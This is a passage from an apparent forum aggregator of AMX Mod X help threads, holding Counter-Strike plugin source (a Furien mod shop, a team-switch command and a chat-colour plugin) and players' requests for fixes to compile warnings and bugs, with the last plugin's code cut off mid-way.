ales deja arma!"); } } case 4: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_galil"); cs_set_user_bpammo(id, CSW_GALIL, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } case 5: { if(cs_get_user_team(id) == CS_TEAM_CT && !formeniu[id]) { if(aregoldenak[id]) { if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } aregoldenak[id]=0; } give_item(id, "weapon_p90"); cs_set_user_bpammo(id, CSW_P90, 250); formeniu[id]=1; } else { if(formeniu[id]) ChatColor(id,"^x04[WATF]^x01 Ti-ai ales deja arma!"); } } } } //} } public HandleGunMenu2(id, menu, item) { //if(!fpause) //{ if((!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) { switch(item) { case 0: { if(cs_get_user_money(id) >= 9000) { if(!aregoldenak[id]) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 9000); aregoldenak[id]=1; if(user_has_weapon(id, CSW_M4A1)) { ham_strip_weapon(id, "weapon_m4a1"); } else if(user_has_weapon(id, CSW_AK47)) { ham_strip_weapon(id, "weapon_ak47"); } else if(user_has_weapon(id, CSW_MP5NAVY)) { ham_strip_weapon(id, "weapon_mp5navy"); } else if(user_has_weapon(id, CSW_FAMAS)) { ham_strip_weapon(id, "weapon_famas"); } else if(user_has_weapon(id, CSW_GALIL)) { ham_strip_weapon(id, "weapon_galil"); } else if(user_has_weapon(id, CSW_P90)) { ham_strip_weapon(id, "weapon_p90"); } give_item(id,"weapon_ak47"); cs_set_user_bpammo(id,CSW_AK47,250); if( get_user_weapon(id) == CSW_AK47 ) { set_pev(id, pev_viewmodel2, pak47) set_pev(id, pev_weaponmodel2, vak47) } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat Golden AK 47 cu $9000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja Golden AK 47!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Golden AK 47!"); } } case 1: { if(cs_get_user_money(id) >= 300) { if(!cs_get_user_defuse(id)) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 300); cs_set_user_defuse(id, 1); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat Defuse Kit cu $300!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja Defuse Kit!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Defuse Kit!"); } } case 2: { if(cs_get_user_money(id) >= 3000) { new hp = get_user_health(id); if(hp<200) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); if(hp + 50 > 200) { set_user_health(id, 200); } else { set_user_health(id, hp + 50); } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 50 HP cu $3000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja HP-ul la maxim (200 HP)!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 50 HP!"); } } case 3: { if(cs_get_user_money(id) >= 1000) { new CsArmorType:itype; new armor = cs_get_user_armor(id, itype) if(armor<100) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 1000); if(armor + 50 > 100) { cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM); } else { cs_set_user_armor(id,armor + 50, CS_ARMOR_VESTHELM) } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 50 AP + Helmet cu $1000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja AP-ul + Helmet la maxim (100 AP + Helmet)!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 50 AP + Helmet!"); } } case 4: { if(cs_get_user_money(id) >= 6000) { if(is_user_alive(id)) { if(!areregen[id]) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 6000); areregen[id]=1; if(!aretask[id]) { set_task(1.0, "hpregen", id, "", 0, "b") aretask[id]=1; } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat HP Regenerator cu $6000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja HP Regenerator!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Nu poti cumpara HP Regenerator daca esti mort!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara HP Regenerator!"); } } case 5: { if(cs_get_user_money(id) >= 3000) { if(is_user_alive(id)) { if(cs_get_user_bpammo(id,get_user_weapon(id)) < 250 ) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); if(cs_get_user_bpammo(id,get_user_weapon(id)) + 90 < 250) { cs_set_user_bpammo(id,get_user_weapon(id),cs_get_user_bpammo(id,get_user_weapon(id))+90); } else { cs_set_user_bpammo(id,get_user_weapon(id),250); } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) } else { ChatColor( id, "^x04[WATF-Shop]^x01 Nu poti cumpara mai mult de 250 gloante!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Nu poti cumpara Ammo daca esti mort!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Ammo!"); } } } } //} } public HandleGunMenu3(id, menu, item) { //if(!fpause) //{ if((!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T) { switch(item) { case 0: { if(cs_get_user_money(id) >= 15000) { if(!aresuperknife[id]) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 15000); aresuperknife[id]=1; if( get_user_weapon(id) == CSW_KNIFE ) { set_pev(id, pev_viewmodel2, knife) } cs_set_user_model( id, "blackfurien" ); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat SuperKnife cu $15000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja SuperKnife!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara SuperKnife!"); } } case 1: { if(cs_get_user_money(id) >= 3000) { if(user_has_weapon(id, CSW_HEGRENADE)) { new hegrn = cs_get_user_bpammo(id, CSW_HEGRENADE); if(hegrn < 2) { cs_set_user_bpammo(id, CSW_HEGRENADE, hegrn+1); new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat HE Grenade cu $3000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja numarul maxim de HE Grenade-uri permis (2 HE Grenade)!"); } } else { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); give_item(id,"weapon_hegrenade"); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat HE Grenade cu $3000!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara HE Grenade!"); } } case 2: { if(cs_get_user_money(id) >= 3000) { new hp = get_user_health(id); if(hp<150) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 3000); if(hp + 50 > 150) { set_user_health(id, 150); } else { set_user_health(id, hp + 50); } emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 50 HP cu $3000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja HP-ul la maxim (150 HP)!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 50 HP!"); } } case 3: { if(cs_get_user_money(id) >= 5000) { new CsArmorType:itype; new armor = cs_get_user_armor(id,itype) if(armor<100) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 5000); cs_set_user_armor(id,100, CS_ARMOR_VESTHELM); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat 100 AP + Helmet cu $5000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja AP-ul + Helmet la maxim (100 AP + Helmet)!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara 100 AP + Helmet!"); } } case 4: { if(cs_get_user_money(id) >= 9000) { if(!areblackpack[id]) { new bani = cs_get_user_money(id); cs_set_user_money(id, bani - 9000); areblackpack[id]=1; if( get_user_weapon(id) == CSW_KNIFE ) { set_pev(id, pev_viewmodel2, knifebp) } //areet[id]=0; cs_set_user_model( id, "blackpackff" ); cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM); emit_sound(id, CHAN_ITEM, szPickAmmoSound, VOL_NORM, ATTN_NORM, 0, PITCH_NORM) //menu_display(id, g_iMenu4); //ChatColor( id, "^x04[WATF-Shop]^x01 Ai cumparat SuperKnife cu $15000!"); } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai deja Black Pack!"); } } else { ChatColor( id, "^x04[WATF-Shop]^x01 Ai prea putini bani pentru a cumpara Black Pack!"); } } } } } public Decenupot(id, menu, item) { if(item == 5 || item == 6) { show_motd(id,"/addons/amxmodx/configs/motdnoninregistrati.html") } } /*public HandleGunMenu4(id, menu, item) { //if(!fpause) //{ if(!ANTIF2 && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) { switch(item) { case 0: { crithp[id] = 20; } case 1: { crithp[id] = 0; } } } }*/ public Message_SendAudio(iMsgId, iMsgDest, id) { if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { if( !id ) { new bool:bAntiWins new szSound[14] schimbareeq=1; get_msg_arg_string(2, szSound, charsmax(szSound)) if( equal(szSound, "%!MRAD_ctwin") ) { bAntiWins = true EnableHamForward( g_iHhTakeDamage ) } else if( equal(szSound, "%!MRAD_terwin") ) { bAntiWins = false EnableHamForward( g_iHhTakeDamage ) } else { return } if( get_msg_block(g_iTextMsg) == BLOCK_NOT ) { set_msg_block(g_iTextMsg, BLOCK_ONCE) } new iPlayers[32], iNum, iPlayer get_players(iPlayers, iNum) for(new i; i<iNum; i++) { iPlayer = iPlayers[i] client_print(iPlayer, print_center, "%L", iPlayer, bAntiWins ? "FURIEN_ANTI_WIN_MSG" : "FURIEN_FURIEN_WIN_MSG") } if( bAntiWins ) { set_msg_arg_string(2, afs) } else { set_msg_arg_string(2, fs) } } } } public Player_ResetMaxSpeed( id ) { if(!fpause) { if( is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T && get_user_maxspeed(id) != -1.0 ) { if(areblackpack[id]) { set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed2)) } else { set_user_maxspeed(id, get_pcvar_float(g_pCvarMaxSpeed)) } } } } public Set_Terrorist_Visibility( iEnt ) { entity_set_float(iEnt, EV_FL_nextthink, get_gametime() + 0.1) if(!a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090) { new iPlayers[MAX_PLAYERS], iNum, id, Float:fVecVelocity[3], iSpeed get_players(iPlayers, iNum, "ae", "TERRORIST") new iInvisibility for(new i; i<iNum; i++) { id = iPlayers[i] if(!fpause) { if( get_user_weapon(id) == CSW_KNIFE ) { if(areblackpack[id] && cloackinuse[id]) { set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, 0) } else { entity_get_vector(id, EV_VEC_velocity, fVecVelocity) iSpeed = floatround( vector_length(fVecVelocity) ) if( iSpeed < 255 ) { iInvisibility = iSpeed - (256 - iSpeed) / 3 if( iInvisibility < 0 ) { iInvisibility = 0 } set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderTransAlpha, iInvisibility) } else { set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } } } else { set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0) } } else { set_user_rendering(id, kRenderFxNone, 0, 0, 0, kRenderNormal, 0); } } } } public Hostage_Spawn( iHostage ) { remove_entity(iHostage) return HAM_SUPERCEDE } public Player_TakeDamage() { return HAM_SUPERCEDE } stock ham_strip_weapon(id,weapon[]) { if(!equal(weapon,"weapon_",7)) return 0; new wId = get_weaponid(weapon); if(!wId) return 0; new wEnt; while((wEnt = engfunc(EngFunc_FindEntityByString,wEnt,"classname",weapon)) && pev(wEnt,pev_owner) != id) {} if(!wEnt) return 0; if(get_user_weapon(id) == wId) ExecuteHamB(Ham_Weapon_RetireWeapon,wEnt); if(!ExecuteHamB(Ham_RemovePlayerItem,id,wEnt)) return 0; ExecuteHamB(Ham_Item_Kill,wEnt); set_pev(id,pev_weapons,pev(id,pev_weapons) & ~(1<<wId)); // this block should be used for Counter-Strike: /*if(wId == CSW_C4) { cs_set_user_plant(id,0,0); cs_set_user_bpammo(id,CSW_C4,0); } else if(wId == CSW_SMOKEGRENADE || wId == CSW_FLASHBANG || wId == CSW_HEGRENADE) cs_set_user_bpammo(id,wId,0);*/ return 1; } stock set_user_death( iPlayer, iNew_death ) { set_pdata_int( iPlayer, 444, iNew_death, 5 ) // Update Scoreboard. message_begin( MSG_ALL, g_iMsg_ScoreInfo ) write_byte( iPlayer ) write_short( get_user_frags( iPlayer ) ) write_short( iNew_death ) write_short(0) write_short( get_user_team( iPlayer ) ) message_end() } stock ChatColor(const id, const input[], any:...) { new count = 1, players[32] static msg[191] vformat(msg, 190, input, 3) replace_all(msg, 190, "!g", "^4") // Green Color replace_all(msg, 190, "!y", "^1") // Default Color replace_all(msg, 190, "!team", "^3") // Team Color if (id) players[0] = id; else get_players(players, count, "ch") { for (new i = 0; i < count; i++) { if (is_user_connected(players[i])) { message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText, _, players[i]) write_byte(players[i]); write_string(msg); message_end(); } } } } I get these errors PHP Code: /tmp/textu6jYuP.sma(540) : warning 209: function "daBP" should return a value /tmp/textu6jYuP.sma(629) : warning 209: function "CWeaponBox_Touch" should return a value /tmp/textu6jYuP.sma(782) : warning 217: loose indentation /tmp/textu6jYuP.sma(809) : warning 217: loose indentation /tmp/textu6jYuP.sma(1106) : warning 209: function "Player_Spawn_Post" should return a value /tmp/textu6jYuP.sma(2232) : warning 217: loose indentation /tmp/textu6jYuP.sma(2362) : warning 204: symbol is assigned a value that is never used: "g_details" /tmp/textu6jYuP.sma(2362) : warning 204: symbol is assigned a value that is never used: "g_pCvarMaxSpeed3" /tmp/textu6jYuP.sma(2362) : warning 204: symbol is assigned a value that is never used: "g_team_color" Fix it for me , please. Przeczytaj cały wpis
  17. MYGO.pl

    Knife Rank

    Could someone do a knife rank where it would show who killed more in the knife and who else died in the knife Przeczytaj cały wpis
  18. MYGO.pl

    Mani admin

    can someone please post the .zip for mani admin plugin on here? I know its not supported but I want to put in my server anyway. I think version is 1.2 thanks Wyświetl pełny artykuł
  19. Hello, i have problems with this plugin and i search for help. This is the plugin : HTML Code: #include <amxmodx> #include <cstrike> #include <fun> #include <reapi> #define FLAG ADMIN_BAN public plugin_init() { register_plugin("Change team via command", "0.1", "He3aBuCuM") register_clcmd("say /te", "cmdTe") register_clcmd("say /ct", "cmdCt") register_clcmd("say /spec", "cmdSpec") } public cmdTe(id) { if(get_user_flags(id) & FLAG) { cs_set_user_team(id, CS_TEAM_T) rg_round_respawn(id) cs_set_user_bpammo(id, CSW_GLOCK18, 40) } return PLUGIN_CONTINUE } public cmdCt(id) { if(get_user_flags(id) & FLAG) { cs_set_user_team(id, CS_TEAM_CT) rg_round_respawn(id) cs_set_user_bpammo(id, CSW_USP, 24) } return PLUGIN_CONTINUE } public cmdSpec(id) { if(get_user_flags(id) & FLAG) { cs_set_user_team(id, CS_TEAM_SPECTATOR) client_cmd(id, "kill") cs_set_user_deaths(id, cs_get_user_deaths(id)-1) set_user_frags(id, get_user_frags(id)+1) } return PLUGIN_CONTINUE } And this is the problem : For steam players - the typing /spec doesn't work and displays us as spectators, but in fact, we still play as ghosts. For non-steam players - the crosshair disappears when we pass from /spec to a team at the beginning of the game. The weapons can't be changed as well. Przeczytaj cały wpis
  20. MYGO.pl

    Delete

    Delete. Przeczytaj cały wpis
  21. MYGO.pl

    chat error.

    hello, friends i have a plugin, this plugin was written to change the message color and nick color of the players and admins. But I have a problem with the plugin. That is; While the plugin sends the messages of normal players 1 time, it sends the messages of the players who have admin or slot authorization to the chat part twice. I want to fix this. can anyone help me PHP Code: // Renkler: [1] Sari, [2] Yesil, [3] Beyaz, [4] Mavi, [5] Kirmizi, [6] Takim Rengi #include <amxmodx> #include <amxmisc> #define YONETICI_ADMIN ADMIN_IMMUNITY #define PLUGINCI_ADMIN ADMIN_RCON #define NORMAL_ADMIN ADMIN_BAN #define SLOT_ADMIN ADMIN_RESERVATION #define USER_ADMIN ADMIN_USER #define ADMIN_LISTEN ADMIN_BAN new message[192] new YoneticiNickRengi, PluginciNickRengi, AdminNickRengi, SlotNickRengi, UserNickRengi; new YoneticiMesajRengi, PluginciMesajRengi, AdminMesajRengi, SlotMesajRengi, UserMesajRengi; new AdminListen, alive[11], strName[191], strText[191] new const yTag[] = ""; new const kurucu[] = ""; new const pluginci[] = ""; new const admin[] = ""; new const slot[] = ""; public plugin_init() { register_plugin("Renkli Yazma", "1.0", "Anonim / edit: Berk") register_clcmd("say", "hook_say") register_clcmd("say_team", "hook_sayteam") register_message (get_user_msgid ("SayText"), "avoid_duplicated") YoneticiNickRengi = register_cvar("yonetici_nick_color", "5") PluginciNickRengi = register_cvar("pluginci_nick_color", "5") AdminNickRengi = register_cvar("admin_nick_color", "5") SlotNickRengi = register_cvar("slot_nick_color", "5") UserNickRengi = register_cvar("user_nick_color", "3") YoneticiMesajRengi = register_cvar("yonetici_mesaj_color", "2") PluginciMesajRengi = register_cvar("pluginci_mesaj_color", "2") AdminMesajRengi = register_cvar("admin_mesaj_color", "2") SlotMesajRengi = register_cvar("slot_mesaj_color", "2") UserMesajRengi = register_cvar("user_mesaj_color", "1") AdminListen = register_cvar("amx_listen", "1") } public avoid_duplicated (msgId, msgDest, receiver) { return PLUGIN_HANDLED } public hook_say(id) { read_args(message, 191) remove_quotes(message) if(message[0] == '@' || message[0] == '!' || equal(message, "")) return PLUGIN_CONTINUE; new name[32] get_user_name(id, name, 31) new bool:User = false new bool:Slot = false new bool:Admin = false new bool:Pluginci = false new bool:Yonetici = false if(get_user_flags(id) & YONETICI_ADMIN) Yonetici = true else if(get_user_flags(id) & PLUGINCI_ADMIN) Pluginci = true else if(get_user_flags(id) & NORMAL_ADMIN) Admin = true else if(get_user_flags(id) & SLOT_ADMIN) Slot = true else if(get_user_flags(id) & USER_ADMIN) User = true new isAlive if(is_user_alive(id)) { isAlive = 1 alive = "^x01" } else { isAlive = 0 alive = "^x01*OLU*" } static color[10] if(Yonetici) { Admin = false Slot = false Pluginci = false User = false switch(get_pcvar_num(YoneticiNickRengi)) { case 1: { format (strName, 191, "^x04%s %s %s", kurucu, alive, name) } case 2: { format (strName, 191, "^x04%s %s ^x04%s", kurucu, alive, name) } case 3: { color = "SPECTATOR" format (strName, 191, "^x04%s %s ^x03%s", kurucu, alive, name) } case 4: { color = "CT" format (strName, 191, "^x04%s %s ^x03%s", kurucu, alive, name) } case 5: { color = "TERRORIST" format (strName, 191, "^x04%s %s ^x03%s", kurucu, alive, name) } case 6: { get_user_team(id, color, 9) format (strName, 191, "^x04%s %s ^x03%s", kurucu, alive, name) } } switch(get_pcvar_num(YoneticiMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else if(Pluginci) { Yonetici = false Admin = false Slot = false User = false switch(get_pcvar_num(PluginciNickRengi)) { case 1: { format (strName, 191, "^x04%s %s %s", pluginci, alive, name) } case 2: { format (strName, 191, "^x04%s %s ^x04%s", pluginci, alive, name) } case 3: { color = "SPECTATOR" format (strName, 191, "^x04%s %s ^x03%s", pluginci, alive, name) } case 4: { color = "CT" format (strName, 191, "^x04%s %s ^x03%s", pluginci, alive, name) } case 5: { color = "TERRORIST" format (strName, 191, "^x04%s %s ^x03%s", pluginci, alive, name) } case 6: { get_user_team(id, color, 9) format (strName, 191, "^x04%s %s ^x03%s", pluginci, alive, name) } } switch(get_pcvar_num(PluginciMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else if(Admin) { Yonetici = false Slot = false Pluginci = false User = false switch(get_pcvar_num(AdminNickRengi)) { case 1: { format (strName, 191, "^x04%s %s %s", admin, alive, name) } case 2: { format (strName, 191, "^x04%s %s ^x04%s", admin, alive, name) } case 3: { color = "SPECTATOR" format (strName, 191, "^x04%s %s ^x03%s", admin, alive, name) } case 4: { color = "CT" format (strName, 191, "^x04%s %s ^x03%s", admin, alive, name) } case 5: { color = "TERRORIST" format (strName, 191, "^x04%s %s ^x03%s", admin, alive, name) } case 6: { get_user_team(id, color, 9) format (strName, 191, "^x04%s %s ^x03%s", admin, alive, name) } } switch(get_pcvar_num(AdminMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else if(Slot) { Yonetici = false Admin = false Pluginci = false User = false switch(get_pcvar_num(SlotNickRengi)) { case 1: { format (strName, 191, "^x04%s %s %s", slot, alive, name) } case 2: { format (strName, 191, "^x04%s %s ^x04%s", slot, alive, name) } case 3: { color = "SPECTATOR" format (strName, 191, "^x04%s %s ^x03%s", slot, alive, name) } case 4: { color = "CT" format (strName, 191, "^x04%s %s ^x03%s", slot, alive, name) } case 5: { color = "TERRORIST" format (strName, 191, "^x04%s %s ^x03%s", slot, alive, name) } case 6: { get_user_team(id, color, 9) format (strName, 191, "^x04%s %s ^x03%s", slot, alive, name) } } switch(get_pcvar_num(SlotMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else if(User) { Yonetici = false Admin = false Slot = false Pluginci = false switch(get_pcvar_num(UserNickRengi)) { case 1: { format (strName, 191, "^x04%s %s %s", yTag, alive, name) } case 2: { format (strName, 191, "^x04%s %s ^x04%s", yTag, alive, name) } case 3: { color = "SPECTATOR" format (strName, 191, "^x04%s %s ^x03%s", yTag, alive, name) } case 4: { color = "CT" format (strName, 191, "^x04%s %s ^x03%s", yTag, alive, name) } case 5: { color = "TERRORIST" format (strName, 191, "^x04%s %s ^x03%s", yTag, alive, name) } case 6: { get_user_team(id, color, 9) format (strName, 191, "^x04%s %s ^x03%s", yTag, alive, name) } } switch(get_pcvar_num(UserMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else { get_user_team(id, color, 9) format (strName, 191, "%s^x03%s", alive, name) format (strText, 191, "%s", message) } format (message, 191, "%s^x01 : %s", strName, strText) sendMessage (color, isAlive) return PLUGIN_CONTINUE; } public hook_sayteam(id) { new playerTeam = get_user_team(id) new playerTeamName[19] switch(playerTeam) { case 1: { copy (playerTeamName, 11, "Terrorists") } case 2: { copy (playerTeamName, 18, "Counter-Terrorists") } default: { copy (playerTeamName, 9, "Spectator") } } read_args(message, 191) remove_quotes(message) if(message[0] == '@' || message[0] == '!' || equal(message, "")) return PLUGIN_CONTINUE; new name[32] get_user_name(id, name, 31) new bool:User = false new bool:Slot = false new bool:Admin = false new bool:Pluginci = false new bool:Yonetici = false if(get_user_flags(id) & YONETICI_ADMIN) Yonetici = true else if(get_user_flags(id) & PLUGINCI_ADMIN) Pluginci = true else if(get_user_flags(id) & NORMAL_ADMIN) Admin = true else if(get_user_flags(id) & SLOT_ADMIN) Slot = true else if(get_user_flags(id) & USER_ADMIN) User = true new isAlive if(is_user_alive(id)) { isAlive = 1 alive = "^x01" } else { isAlive = 0 alive = "^x01*OLU*" } static color[10] if(Yonetici) { Admin = false Slot = false User = false Pluginci = false switch(get_pcvar_num(YoneticiNickRengi)) { case 1: { format (strName, 191, "%s(%s) %s", alive, playerTeamName, name) } case 2: { format (strName, 191, "%s(%s) ^x04%s", alive, playerTeamName, name) } case 3: { color = "SPECTATOR" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 4: { color = "CT" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 5: { color = "TERRORIST" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 6: { get_user_team (id, color, 9) format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } } switch(get_pcvar_num(YoneticiMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else if(Pluginci) { Admin = false Slot = false User = false Yonetici = false switch(get_pcvar_num(PluginciNickRengi)) { case 1: { format (strName, 191, "%s(%s) %s", alive, playerTeamName, name) } case 2: { format (strName, 191, "%s(%s) ^x04%s", alive, playerTeamName, name) } case 3: { color = "SPECTATOR" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 4: { color = "CT" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 5: { color = "TERRORIST" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 6: { get_user_team (id, color, 9) format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } } switch(get_pcvar_num(PluginciMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else if(Admin) { Yonetici = false Slot = false User = false Pluginci = false switch(get_pcvar_num(AdminNickRengi)) { case 1: { format (strName, 191, "%s(%s) %s", alive, playerTeamName, name) } case 2: { format (strName, 191, "%s(%s) ^x04%s", alive, playerTeamName, name) } case 3: { color = "SPECTATOR" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 4: { color = "CT" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 5: { color = "TERRORIST" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 6: { get_user_team (id, color, 9) format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } } switch(get_pcvar_num(AdminMesajRengi)) { case 1: { format (strText, 191, "%s", message) } case 2: { format (strText, 191, "^x04%s", message) } case 3: { copy (color, 9, "SPECTATOR") format (strText, 191, "^x03%s", message) } case 4: { copy (color, 9, "CT") format (strText, 191, "^x03%s", message) } case 5: { copy (color, 9, "TERRORIST") format (strText, 191, "^x03%s", message) } } } else if(Slot) { Yonetici = false Admin = false User = false Pluginci = false switch(get_pcvar_num(SlotNickRengi)) { case 1: { format (strName, 191, "%s(%s) %s", alive, playerTeamName, name) } case 2: { format (strName, 191, "%s(%s) ^x04%s", alive, playerTeamName, name) } case 3: { color = "SPECTATOR" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 4: { color = "CT" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } case 5: { color = "TERRORIST" format (strName, 191, "%s(%s) ^x03%s", alive, playerTeamName, name) } 